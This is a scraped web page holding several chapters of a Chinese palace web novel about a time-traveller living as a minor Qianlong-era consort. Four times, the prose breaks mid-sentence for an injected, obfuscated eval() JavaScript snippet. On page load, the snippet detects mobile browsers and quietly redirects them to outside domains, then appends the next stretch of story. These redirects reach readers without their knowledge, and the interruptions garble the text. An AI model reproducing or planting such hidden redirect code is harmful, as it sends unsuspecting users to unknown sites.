;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13034909|118187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一点醋味,虽然是笑着说出来的。 嘉嫔也是见惯了大场面的人,她也笑着回话道:“三皇子聪明活泼,深得皇上皇后的欢心,这天大的福气在纯妃姐姐头上,您还来羡慕妹妹,真是有福人还要祈福,让大家都羡慕。要我说,姐姐的福气还在后头呢,您以后再给三皇子添几个弟弟妹妹就好了,皇后娘娘保准也给您恩典,让贵亲眷入宫。” 高贵妃没有看这热闹,先坐上肩與回寝宫了,张百年也就没听到后面的热闹。 高贵妃脸上淡淡的,回了钟粹宫就叫了散,张百年有了空闲,回屋抓紧时间做绣活。 皇上过寿,身为后宫妃嫔的张百年自然是要送贺礼,不过她早就提前做好了,之前让双福偷偷帮她绣了一半,她现在赶着做的是准备在十一月份送给太后圣寿的贺礼。 后宫里需要送礼的节日庆典太多了,多到张百年赶制贺礼都忙得够呛,她手里的绣花针都要用出火星子了! 这也就是在古代,这也就是反抗不了,要不然张百年早就撒泼打滚不干了。 普通小常在的日子是真不好过,说是住在宫殿里,可这钟粹宫后院的东配殿也不算大,采光通风也不算好,要不是张百年现在的个头矮,估计这屋子住起来还得感觉更压抑。 张百年这个住所是坐东朝西,东面靠着钟粹宫的宫墙,南面开门开窗才能见到阳光,冬天倒还能过,夏天就挺热挺闷的了。 一想到这里,张百年就忍不住要吐槽在现代看的清宫剧,里面拍出来妃嫔居住的环境那么亮堂宽敞,真是骗子啊骗子,大骗子! 张百年在宫里住了快半年,最大的感受就是后宫里地方不大,人挺多,私人空间很少很少。 一想到这里,张百年就忍不住叹气,然后就收拾好心情,继续生活。 八月上旬的这几日,宫中是忙而不乱,大家都被安排得明明白白。 其中最得意还当属海贵人和吴常在,一个属于翻红,一个是新宠,都有点春风得意,倒是白贵人坐得挺稳,一直都颇受宠爱。 乾隆皇帝对宠爱的妃嫔赏赐也多,时兴的头面首饰,新上贡的绫罗绸缎,这三位眼下最得宠的妃嫔没少得,自然也会穿戴出来。 这穿戴出来原本也不要紧,皇上赏的东西自然是最好的,就算是品级不够也能穿戴出来,只是也不知怎么的,点子就那么寸,几个人赶到了一起,撞衫了。 29. 折腾人 俗话说得好,撞衫不可怕,谁丑谁知道。 这话放到清朝后宫里,也没有过时,只不过这里还有上下尊卑之别。 话说半个多月之前,江南那边新贡上来一批绸缎,其中最出挑的,自然送到了太后、皇后和贵妃处,其余的就要凭着皇上的心情来赏了。 当下最得宠的三位,白贵人、海贵人和吴常在都得到了这个赏,赶着让下面人做了两三套新宫装。 也许是八月初十这天的日子好,她们三个不约而同换上了新宫装,在长春宫正殿前聚齐时才发现了不妥。 白贵人穿着一身海棠红缠枝莲纹绸缎的旗袍,小两把头上插着淡粉的绒花,娇俏得很。 吴常在身上的是稍微浅一点的嫣红色旗袍,袍子上绣的主体图案是缠枝菊莲海棠纹,也梳着小两把头,头上还插着皇上新赏下来的珠钗,衬得十五岁的小美人很是娇嫩可人。 白贵人一眼就看到了吴常在和她相似的衣装,面色不变,心里却膈应着,狠狠记了吴常在一笔。 后宫妃嫔的眼睛多利呀,一照面就能看出来白贵人和吴常在身上穿的料子是同一批的贡品,颜色花纹还这么相近,又撞了衫,一时间都在看两人的笑话。 等海贵人跟着纯妃一起过来,这乐子就更大了,海贵人身上穿的是丹色旗袍,虽然上面的纹样不同,但这缎子的织法和光泽度都一样,明眼人一扫就能看出来。 海贵人平常很少穿这样鲜艳的颜色,也是最近心情好,才想着改一下装扮,结果就和白贵人、吴常在撞上了。 海贵人虽然也是个美人,但她年纪稍长,又没有那两人的皮肤嫩白,穿着颜色款式相近的衣袍,自然被比了下去。 这谁能高兴,海贵人觉得心口有点堵,但也只能佯装不知,省得再被别人看了笑话。 张百年在衣料方面没多少研究,刚开始还没看出来,只是她能感觉到众人的眼光都在往这三人身上扫,这才觉察出来。 等回到钟粹宫,不等她派宫女去打听,贵妃就把她叫去了正殿。 她伺候贵妃时,听贵妃对她和秋实说了这事,才算是清楚了前因后果。 秋华今天是陪着自家娘娘出去请安的,又是站在后面伺候,能看到的情形更真切,她笑着说:“也是她们手上没多少好东西,刚得的赏赐,就巴巴地穿出来显摆,这下倒好,让咱们看了个笑话。” 贵妃含笑逗弄着她养的鹦哥,秋实也凑趣道:“海贵人也是忒倒霉了些,白贵人自然有出挑的本事,可那吴常在就挺没眼色的,刚进宫多久,行事也不知道谨慎,看着像个有规矩的,结果是个样子货,内里早就飘了。” “她小小的一个人儿,家里又是个民籍,被人千里迢迢地送进宫,也没好生教养过,心里自然糊涂着。”高贵妃拿瓜子逗引她的鹦哥,叹气道:“吴常在和陆常在的运道也差些,住所被安排进没有主位娘娘在的永和宫里,规矩也没人教,成天和那几个不成器的人吵嘴斗气,还能有个好嘛。” 张百年觉得这种时候就应该她说句话表个态,只能硬着头皮陪笑奉承几句:“是啊,吴常在确实运道不好,没有遇到个好的主位娘娘来教导提携,这道走得是越来越窄了,奴婢想想都替她担心,要是她当初能分进咱们宫里就好了,娘娘最是心善,必定能让她过得更好。” 贵妃呷了一口玫瑰花茶,含笑道:“这也是各人的缘法,本宫这里也装不了太多的人,有你这样懂事的陪着住就挺好。” 张百年不爱自贬着说话,可她现在只能把自己置于低处,还要时刻记着这点。“也就是娘娘您不嫌弃奴婢这个呆子,奴婢能被分进钟粹宫来跟着您,实在是上辈子烧香烧得好神仙拜得准呢。” 张百年在贵妃身边陪笑了一个多时辰,是脸也笑僵了,手也发软了,心也累疲了。 给别人当奴才,真是有些摧残人性。 一向不用午睡的张百年,这下也要躺着歇会儿了,要不然她实在是没有力气来应付下半天的苦工。 高贵妃睡不着,她心里有些烦愁。 秋华看在眼里,急在心上,还想派人去把刚回去没多一会儿的裕常在给叫回来。 高贵妃没让她叫,“裕常在也累了许久,要让她歇歇,本宫躺一会儿就好了。” 秋华天经地义地说道:“能伺候娘娘,是旁人求都求不来的福气,谁又能喊累。娘娘一向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13034910|118187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都要睡午觉的,要不然下晌该头晕了,那可如何是好!” “哪里会这么娇气,你去小厨房看看,让他们做碗鸡丝面来,我想喝点面汤暖胃。” 秋华继续劝说:“鸡丝面当然有,按摩的也不能少,您想啊,喝完热汤,您舒服地在被窝里躺着,再有个人给您按摩,您睡一觉多舒服啊!” “你现在真是越来越难絮叨了。”对于贴身宫女的精心伺候,高贵妃还是很受用的,允许了秋华的安排。 张百年这边刚躺下,就又被贵妃给召唤了过去,心里又烦又累,也不敢表现出来,只能挺着。 等到贵妃午睡完起来,张百年才捧着赏赐回了她的东配殿。 张百年看着这些赏赐,心里没有多少欢喜,只觉得日子难过,工作难做,领导不好伺候,自己不是人,只是个牛马。 快到用晚膳的时辰了,正殿那边来人,叫所有人去钟粹宫门前等着恭迎圣驾。 张百年赶紧把身上方便干活的素净衣裳脱了,换上平时出门请安时穿的宫装,快步走到宫门外站好。 后宫的规矩,皇帝皇后驾临内宫,妃嫔们都要迎于宫门之外。在这皇宫中,一切都要按着规矩行事,半丝都不敢乱的。 喜答应、吉答应和柳官女子也前后脚到了,排在张百年下首,依次站好。 在这当口,谁也不会没长脑子,在穿着打扮上弄花活,小妃嫔们都谨守着规矩,在贵妃身后低头站好,充当一个锯嘴葫芦。 张百年更是安分守己的典范,只敢用余光去瞟乾隆帝和贵妃那边的情景。 皇上进了正殿,贵妃笑盈盈地跟了进去,其余的人都安静地回了后院。 乾隆帝在贵妃这里用了晚膳,说了话,之后就起驾离开了,并未在钟粹宫留宿。 其实,乾隆帝在紫禁城时去妃嫔的寝宫留宿用膳的次数比较少。 乾隆帝能专门过来和贵妃一起用膳说话,这都属于天大的体面,全后宫大概就只有皇后和贵妃有这样的体面。 所以,之后的两天高贵妃的心情都不错,睡眠质量直线上升,召张百年过去按摩的次数都少了许多。 张百年:意外之喜~ 30. 清朝版掩鼻计 意外之喜就是最大的喜事! 偶然得到的两三天轻松小假期,在封建主义社会当牛做马的张百年简直要感动落泪。 天知道她这些日子过得有多累,贵妃娘娘心情烦闷时有多不好伺候,半宿半宿地熬着,谁能受得了。 张百年是个善于抓机会休息的人儿,这大好的机会她绝不会放过! 她早早地躺床上睡觉,什么都不学,什么都不想,就是翘着二郎腿小声哼歌。 白天空闲时,俭省许久的张百年还掏了银钱,去膳房那边点了一道麻辣味道的牛肉锅子,外加两盘子奶油蜂蜜甜味十足的萨其马,用以安抚她那快要干涸的生活热情。 吃吃喝喝地快活了一中午,张百年还赏了她的三个宫女,和她一块摄入能让人分泌快乐多巴胺的甜点,主仆四人都笑呵呵的。 “这才叫舒服的日子呢!”张百年对着宫女叹道,其实她心里想说的话是:这才叫人过的日子呢! 张百年好久都没有从吃这件事上获得满足感了,现在吃得肚子鼓鼓,心里也满足。她幸福地倒在床上,身上的血液都留到胃去消化食物,平时塞满心事和吐槽的大脑正好可以放空,迷迷糊糊地睡熟睡香了。 这一觉睡得舒服,等张百年醒来,是身轻脑子也清。 有阳光顺着窗棂照进了卧房,只停在了床边五寸处,照不到床边,但那亮度很足,外面一定是个艳阳天。 张百年的心不禁飞了出去,想要去御花园里逛逛,虽然那御花园也不算大,三步一楼阁,五步一回廊,设计得倒是精巧,却是密密叠叠的,半点畅快都不见,可那也是砖木宫殿群里少见的绿意啊! 这么好的天,张百年不要窝在屋子里发霉,她真想出去! 在别人的屋檐下,端着别人的饭碗,自然要受人家的管。张百年犹豫着喝完半盏茶,还是想出去,便出去了。 还是那句话,她能装一个月,但装不住一年,偶尔也要放放风,哪怕知道自己的一举一动都会被报给贵妃,她也要过点人的生活。 张百年穿上七成新的宫装,打扮成平常的模样,掐着时间去了御花园,随她心愿正好碰到了陈贵人。 陈贵人见到张百年,还是温柔可亲的样子,两人先是在池边看了锦鲤,然后遇到了吴常在,说了两句寒暄话,才分开。 两人去了亭子里坐下,陈贵人和张百年说了她最近新读完的两个话本子。 张百年听得认真,和陈贵人讨论起来也认真,双方都很尽兴。 清代人写的话本子也挺精彩,但陈贵人能看到的故事也多是中规中矩的本子,要不然也到不了后宫妃嫔的手中。 张百年一时心痒,就假托家里兄弟淘气的名义,说她在家时也偷偷看过不少淘气故事,坐在亭子里悄悄与陈贵人讲了。 陈贵人听个新奇,这个话本的故事线又与平常闺阁里看得那些情情爱爱的故事不同,就是那种女主专注修仙练武搞事业的打怪升级流大爽文,她一下子听入了神,根本没注意到时间。 还是张百年的嗓子先受不住了,连着讲了两刻钟,干得都要冒烟了。 好在陈贵人常出来溜达,东西带得都全,赶紧让宫女倒杯酸梅汤。 “瞧瞧我,光顾着听了,都没注意到你有多累了。”陈贵人平时总会体谅照顾别人,这回没照顾到,就有些自责。 张百年也好久没和人说过这么多这么有趣的话了,她也是说得兴起,又怎会埋怨陈贵人,牛饮了两杯,又拉着陈贵人说了下文。 正说得热闹时,从远处疾步走来几个小太监,张百年只能打住了话头,和陈贵人对视一眼,那小太监过来说皇上要驾临御花园,请两位小主移步。 陈贵人和张百年立刻起身离开了御花园,不舍地分开。 临走前,陈贵人殷切地说:“我总是这个时候出来,你什么时候有功夫过来都行,我都在。” 张百年点点头,对陈贵人粲然一笑。 钟粹宫离御花园很近,张百年快步赶回钟粹宫,心中想好了回话,进了宫门就去正殿求见。 高贵妃正在听小曲染指甲,她直接让张百年进了内室还赐了座。 张百年福身请安,侧身坐下,立马说起了她的话:“奴婢午睡起来看外面的阳光好,就想去御花园散散,先在御花园碰见了吴常在,奴婢和她不熟,就行了平礼随意寒暄了两句,之后又遇到了陈贵人,她为人和善不拿架子,奴婢就和她多说了几句话,后来又有养心殿的小太监过来,说皇上要来御花园,奴婢就和陈贵人一起避了出来。” 高贵妃点点头,没多说什么,只让张百年尝尝她小厨房新研究出来的甜咸味小点心。 张百年很喜欢甜咸口的点心,吃得开心,夸得也真心,贵妃说她真是小孩性子,特意让秋实给她包了一盒子带走。 张百年带着点心回了东配殿,心想着这回她记着向高贵妃先汇报消息,应该能让贵妃满意。 高贵妃这边的消息更灵通,半个时辰后,钟粹宫的管事太监从外面回来,进了内殿,小声和贵妃说了御花园外发生的有趣事。 贵妃当个笑话听了,也没说什么。 晚上的请安散了后,这个笑话才传开了。 原来下午时,在御花园里逗留的吴常在没有像张百年和陈贵人那样有眼色,还磨磨蹭蹭的一步走三步退。 吴常在揣度着皇上大概率是从养心殿那边过来的,特意去了连接着西六宫和御花园的琼苑左门,在必经之路上慢慢走,准备偶遇一下皇上。 吴常在这次的算盘打得倒还算准,等着御驾经过时,她正好避在宫道旁婀娜地福身行礼,巴望着皇上能多看她一眼。 可是,乾隆帝这回是带着白贵人一起来游园的,白贵人可不是个面瓜,又怎会让地位不如她的小妃嫔当着她的面来截圣宠呢。 更何况,两人之间还有着撞衫的前事,外加上同是宠妃,更是对活冤家。 白贵人心想着,海贵人是潜邸老人儿,她不能不在面儿上敬着,这吴常在又是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13034911|118187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么东西,竟敢三番两次地碍她的眼。 更何况,吴常在是苏州织造送上来的,她是两江总督送进宫的,她们背后的势力可不一样,同是江南的美人,都是一个类型,白贵人自然更是看吴常在不顺眼,必要找个机会把她弄下去。 皇上身边的位置就这么点儿,宫里的江南美人同一时期也只能有一位出风头。 在白贵人之前,皇上身边的江南美人是仪嫔黄氏,此女虽生在京城,但她母亲苏州人,这位仪嫔娘娘肖似其母,婉约秀丽,温柔多情,颇受皇上宠爱,没有生育也没有多少家世,可在皇上初封六宫时就定下了嫔位,只可惜这位的命薄了些,还未等到正式的册封礼,就得病没了,然后才轮到了她这个江南美人的出头之日,她顺利地填补了仪嫔空出来的位置,直到现在。 所以,当皇上看到了路旁行礼的吴常在,白贵人特意和她打了招呼,又当着皇上的面说了几句看似平常的话。 “这么大的日头,吴妹妹怎么走了这么远,可怜见的,这脸上的粉都晒糊了,胭脂也有点花了。” 吴常在听白贵人这么说,瞬间就慌了神,手不自觉地摸上了脸,刚巧把脸颊上胭脂摸掉了一小块。 乾隆帝也顺着白贵人的话仔细瞧了她一眼,发现了吴常在脸上不完美的妆容,也不再看她,带着白贵人直接走了。 妆容不整面圣,其实要是细究起来,在宫中也是罪过。 等圣驾离开,吴常在手脚发软满头大汗,抓着身边跟着的宫女,反复地问她的脸怎么了。 古代的妆粉自然是不防水的,汗更是不防。吴常在被宫女架回了寝殿,一路上冷汗不止,等她对着铜镜清水看妆面时,自然是糊掉了。 吴常在万念俱灰,脸上青一阵白一阵又红一阵的,心中既痛恨自己又痛恨服侍她的宫女,更痛恨点出话来的白贵人。 白贵人这一手玩得实在是妙,她虽然只是粗通文墨,并未熟读兵法,但这位却是个天赋型选手,一出清朝版的掩鼻计,她没有想过借鉴,却信手拈来。 后宫里的闲话传得最快,尤其是得宠小妃嫔的闲话,大家讲起来也没太多的顾忌。 张百年听到这个闲话的时间就算晚的了,她站在长春宫正殿前的空地上,离吴常在不远,和斜对面的陈贵人对了个眼色,两人都觉得奇怪。 算起来,她们之前遇到吴常在时,和吴常在遇到皇上时,之间顶多相差半个时辰,那时候吴常在脸上的妆容还完好着,衣着也光鲜,整个就是个小美人,怎么会出现纰漏。 张百年想,这中间肯定有猫腻,和白贵人肯定有关系,只是白贵人也没过来请安,应该还在皇上跟前呢。 原来这就是宫斗啊,三言两语之间,给一个人下套,让一个人出丑,压根不用事前谋划,随性发挥即可。 好厉害的模样。 好可怕的模样! 张百年觉得牙疼,她可能没有这方面的才能,就连防御可能都费劲。 宫中的生活,真难啊! 31. 谁也轻松不了的万寿节 皇上对吴常在的宠爱淡了。 这也不奇怪。 毕竟是皇帝,更何况还是乾隆皇帝。 乾隆帝是含着镶大钻石的金汤匙出生的,一路顺遂,继承帝位也算得上是众望所归,比他的皇阿玛不知道要幸运多少。他坐拥天下,自觉是天命所归,自我感觉极其良好,又是文能提笔安天下,武能上马定乾坤,如此雄才英主,对周围人要求高点也实属正常。 看到妆容不整的女人,污了他尊贵的眼,他不降罪,已属天恩,吴常在理应痛哭流涕地忏悔加自责。 让皇上嫌弃的人,自然也被后宫上下嫌弃,吴常在的日子立刻难过了起来。可怜她小小的一个人儿,孤身在这深宫中熬着,原本饱满的鹅蛋小脸没几天就瘦了好两圈,眼神也黯淡了许多。 万寿节这日,天还没亮,紫禁城的前朝后宫都忙了起来。 高贵妃起得很早,穿戴贵妃朝服可不是一件轻省的差事。别看高贵妃平时养尊处优的,在这种大场合,她也不敢喊累,该她做的她必须一丝不差地做好。 钟粹宫里灯火通明,后院的小妃嫔和伺候主子的宫女太监起得自然更早。 张百年前一天晚上睡得够早了,可她被宫女叫醒时也觉得她像没睡过觉似的,头重脚轻,四肢无力。 她被双乐和双福搀扶起来,捂着口秀气地打了个大哈气,想伸个懒腰,又顾及着小主的形象,只能作罢。 “少兑些热水,凉一点,我洗脸也能醒醒神。” 双喜答应了一声,兑好洗脸水,端了过来。 张百年这边洗漱好,双乐从柜子里端出昨天下午特意掏钱多要来的点心,双福泡好珠兰茶也殷勤奉上。 张百年知道这几天都会很忙,还都是需要体力的大典礼,估计没时间好好吃饭,就想着起早多垫些肚子,省得一会儿再扛不住,可不是要出大事了。 她这次没吝惜银子,让双乐带足了打赏的钱,从膳房那边要来了多加糖的小月饼、红豆糕、桃酥和甜咸味的椒盐牛舌饼。 马上就到中秋节了,膳房也正在赶制各色月饼,钱使到了,各种口味的月饼都带回来了不少,足够张百年和她的宫女这几天吃的了。 张百年特意早起来一刻钟,准备多吃些点心当早饭,她先是小口喝了温水润喉解渴,这也是她从小的习惯,只有喝什么也不加的水才觉得解渴,其它的无论是茶还是果汁,通通都觉得不解渴。 张百年先吃了一个椒盐味的牛舌饼来刺激味蕾,再吃一个枣泥的小月饼,然后喝茶清口,再吃个玫瑰豆沙馅的月饼,用温水解渴,再夹了一筷子的八宝酱菜来解腻。 说起这道酱菜,还是和双福交好的那位膳房小管事的“孝敬”,因为和裕常在这边常来常往,时常有银子可拿,这位小管事也想结个善缘,就时不时送点吃食过来。 吃甜食会促进人体分泌多巴胺,但吃多了甜食也会腻歪,张百年就用酱菜和淡茶来平衡甜味带来的腻歪,努力多往肚子填些抗饿的点心。 黏的东西最抗饿,红豆糯米糕吃着也算顺口,张百年就着酱菜努力多吃了两块,又喝水往下顺。 吃得有点发撑了,张百年才起来净手,再去屏风后的贡桶方便。 张百年摸摸肚子,感叹着原主的小胃口,这要是放在现代,这么好吃的点心,她高低能多吃两盘子。 方便过后,张百年先让双福给她梳头上妆,说她穿外面大衣裳前还要再去方便一回。 双福有些替自家小主发愁,“水喝得有点多了,等会您出去了就要一直站着,要是还想方便就麻烦了。” “我也没办法啊,早上起来水不喝够,我就嗓子难受,吃不下东西。”张百年也在发愁,她选了一朵海棠绒花递给双福,没辙的说:“那我临出门前多方便几回,唉,只能这样了,实在不行只能忍着了。” 张百年想起了成人尿不湿,可惜清朝这边没有,要不然她高低整一个,虽然用这玩意挺尴尬,可也比憋着难受强啊。回想到她夏至时跟着众人去参加祭祀,在外面多待的半个时辰里,憋得有多难受,再想到万寿节是满清皇室三大节之一,典礼礼仪有多繁琐冗长,张百年就愁得慌。 三个宫女分工明确,手脚麻利,很快就装扮好了张百年,张百年也抓紧最后的机会再去上了一次厕所。 张百年这个裕常在没有资格穿吉服朝服,只能穿上最华丽的常服袍,外面再套上品月色缎彩绣菊花圆领坎肩,这件的料子好,原本是给贵妃做的家常衣裳,结果贵妃嫌弃这款式绣工不够精细,就随手赏给了张百年,成为张百年衣橱里最能充场面的一件。 宫装穿好后,张百年又让三个宫女前前后后仔细查看两遍,确定了没有任何疏落,衣服是半点褶子灰尘都没有,才蹬上六厘米高的月白色缎绣花卉花盆底鞋,提了口气,扶着双乐的手迈过门槛,小心翼翼地下了东配殿前的台阶。 喜答应比她早一步出门,已经从迈过后院的门,吉答应刚出来,笑着向她问安。 张百年停了脚步,和吉答应一起往前院走。柳官女子是等着三个常在答应都出屋了,才敢出来,跟着吉答应身后走。 四人在正殿外站定,等着贵妃出来。 喜答应侧眼打量着张百年,先是看到那件精致的月白色坎肩,心中不是滋味,再往下扫,看到张百年脚上踩的花盆底鞋,暗暗撇嘴,觉得这位就是给个高台都上不去的奴才秧子,平时在钟粹宫里连最矮的花盆底都不敢穿,偏穿那寒酸的软底鞋,和宫女一样,一点小主的样子都没有。 这宫里面,哪个妃嫔不是尽可量地穿高些的鞋,她一个答应都要穿个四寸高的花盆底,偏裕常在与众不同,穿个两寸高的。 等了不到两刻钟的光景,贵妃娘娘才被宫女簇拥着踏出了正殿,只见她头戴朝冠,身穿朝服褂,脚上蹬着六寸高镶嵌着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13034912|118187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珍珠宝石的花盆底鞋,仪态万方,派头十足。 等在外面的众人福身请安,平身后跟在贵妃身后,都比贵妃娘娘矮上半头。 后宫妃嫔先去长春宫,再由皇后领着一齐去向皇帝磕头祝寿,再赶着去给皇太后请安。 富察皇后今日也是盛装打扮,她穿着考究尊贵的朝服,前后绣着龙凤同和纹,袖边领边绣着凤穿牡丹花纹,侧面点缀着金玉满堂纹样,头戴三层金镶珍珠夏朝冠,与平常不饰金玉的简朴装扮比,更显六宫之主的气势,容貌更盛,清丽的气质在富丽的衣饰下衬得更鲜艳了,又兼具着尊贵与温柔的品格,六宫中无人能及。 皇太后这里挺热闹的,天刚亮时,就由皇帝带着宗室亲贵、大小臣工一起来寿康宫请安,拜谢太后生恩,紧接着就是皇后带领后宫妃嫔,连着京中命妇夫人一起来给皇太后磕头请安。 张百年走了一路,磕了好几次头,还是穿着六厘米高的木底鞋,着实不轻松,心里不由得默默吐槽,皇上过个生日实在是太能折腾了,光折腾他们这些下属还不够,皇上自己也清闲不了,寿星也要天亮前起床,奔波着请安,再奔波着去各处祭祀,还要大宴群臣,赶着和后宫宗室用顿家宴,奔波来奔波去的,这是图个什么啊! 日子就不能过得简单点嘛! 不能,身处高位的人就是不能图简单,各色规矩礼仪必须拉满,要不然怎么突出他们手上别致的权柄呢。 张百年跟在嫔妃堆里,默默走着流程,头一个时辰还好,后面的时间全靠意念在撑着,还有那顿抗饿早餐中的糖分和盐分。 她果然是有先见之明,这些点心没有白吃,提供的热量一直扛到了下午宴会上菜前。 坐在离皇帝金龙大桌挺远的地方,张百年感觉挺自在,她挨着陆常在坐,再右边是最近才落寞的吴常在。 张百年和陆常在不熟,话自然不多,吴常在也没有心情说话,安安静静地待着。 桌子上摆满了碗碟,里面装的菜色富丽,勾芡用得恰到好处,衬得菜品光亮亮,一看就像是人间美味。 不过吃进嘴里也就是一般,毕竟是成批量做出来的大锅菜样子菜,吃个意思就行了。 张百年的嗓子早就干了,等跟着上首的太后皇后贵妃祝过酒,她才找到机会喝茶润喉。 等到上面的人说完场面话开始动筷子,张百年才能小口吃菜。 这时她的肚子也空了,也不会挑嘴,只捡那还热乎的菜吃。 她吃了一口黄烩羊肉,发现这羊肉已经蒸过头了,就换了个三鲜鸭吃,结果也不算好吃,只好吃了几口凉拌菜,再去啃各色饽饽点心,好歹把肚子混饱。 菜过了五味,张百年瞄着席面上开始零星有人离席,她也跟着别人出去方便。 张百年一身轻松地回来,她可不敢在外面瞎逗留,这场万寿节大宴她必须要老老实实跟完全程,当一朵合格的壁花。